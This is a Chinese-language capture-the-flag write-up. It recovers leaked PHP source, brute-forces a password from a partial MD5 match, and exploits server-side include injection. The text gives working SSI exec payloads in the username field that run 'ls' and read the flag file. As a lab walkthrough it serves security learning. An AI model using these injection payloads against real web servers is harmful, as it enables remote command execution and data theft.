解题:
进入环境只有 一个登录框,一般我的思路都是先用 万能密码登录一下,不行的话就扫源码
发现 index.php.swp 文件
<?php
ob_start();
//加密
function get_hash(){
$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
$content = uniqid().$random;
return sha1($content);
}
header("Content-Type: text/html;charset=utf-8");
***
if(isset($_POST['username']) and $_POST['username'] != '' )
{
$admin = '6d0bc1';
if ( $admin == substr(md5($_POST['password']),0,6)) {
echo "<script>alert('[+] Welcome to manage system')</script>";
$file_shtml = "public/".get_hash().".shtml";
$shtml = fopen($file_shtml, "w") or die("Unable to open file!");
$text = '
***
***
<h1>Hello,'.$_POST['username'].'</h1>
***
***';
fwrite($shtml,$text);
fclose($shtml);
***
echo "[!] Header error ...";
} else {
echo "<script>alert('[!] Failed')</script>";
}else
{
***
}
***
?>
关键位置:
if(isset($_POST['username']) and $_POST['username'] != '' )
{
$admin = '6d0bc1';
if ( $admin == substr(md5($_POST['password']),0,6)) {
这里 需要md5(password) = 6d0bc1 就可以了
附上python 脚本
import hashlib
for i in range(100000000000000000000000000000):
a = hashlib.md5(str(i).encode('utf-8')).hexdigest()
if a[0:6] == '6d0bc1':
print(i)
break
得出 2020666
登录框直接登录
访问后没东西。 看看网络,看到个url
响应头 有个 shtml 文件
进入这个url,看到的这个 admin 就是我们传入的admin 猜测有ssI注入
SSI注入
SSI 注入全称 Server-Side Includes Injection :即服务端包含注入,SSI 类似CGI,用于动态页面的指令,SSI 注入允许远程在WEB 应用中注入脚本来执行代码。
SSI 是嵌入HTML 页面中的指令,在页面被提供时由服务器进行运算,以对现有HTML页面增加动态生成的内容,而无需通过CGI 程序提供整个页面,或者使用其他动态技术。
一个存在反射型XSS漏洞的页面,如果输入的payload不是XSS代码而是 SSI 标签,同时服务器又开启了对SSI的支持的话就会存在SSI漏洞。
注入条件
-
Web 应用程序在返回响应的HTML页面时,嵌入了用户输入
-
Web 应用程序未对相关SSI关键字做过滤
-
Web 服务器已支持SSI(服务器端包含)
利用方式:
他的注入格式如:
<!--#exec cmd=" 命令"-->
查看当前目录文件
username=<!--#exec cmd="ls"-->&password=2020666
查询flag
username=<!--#exec cmd="cat ../flag_990c66bf85a09c664f0b6741840499b2"-->&password=2020666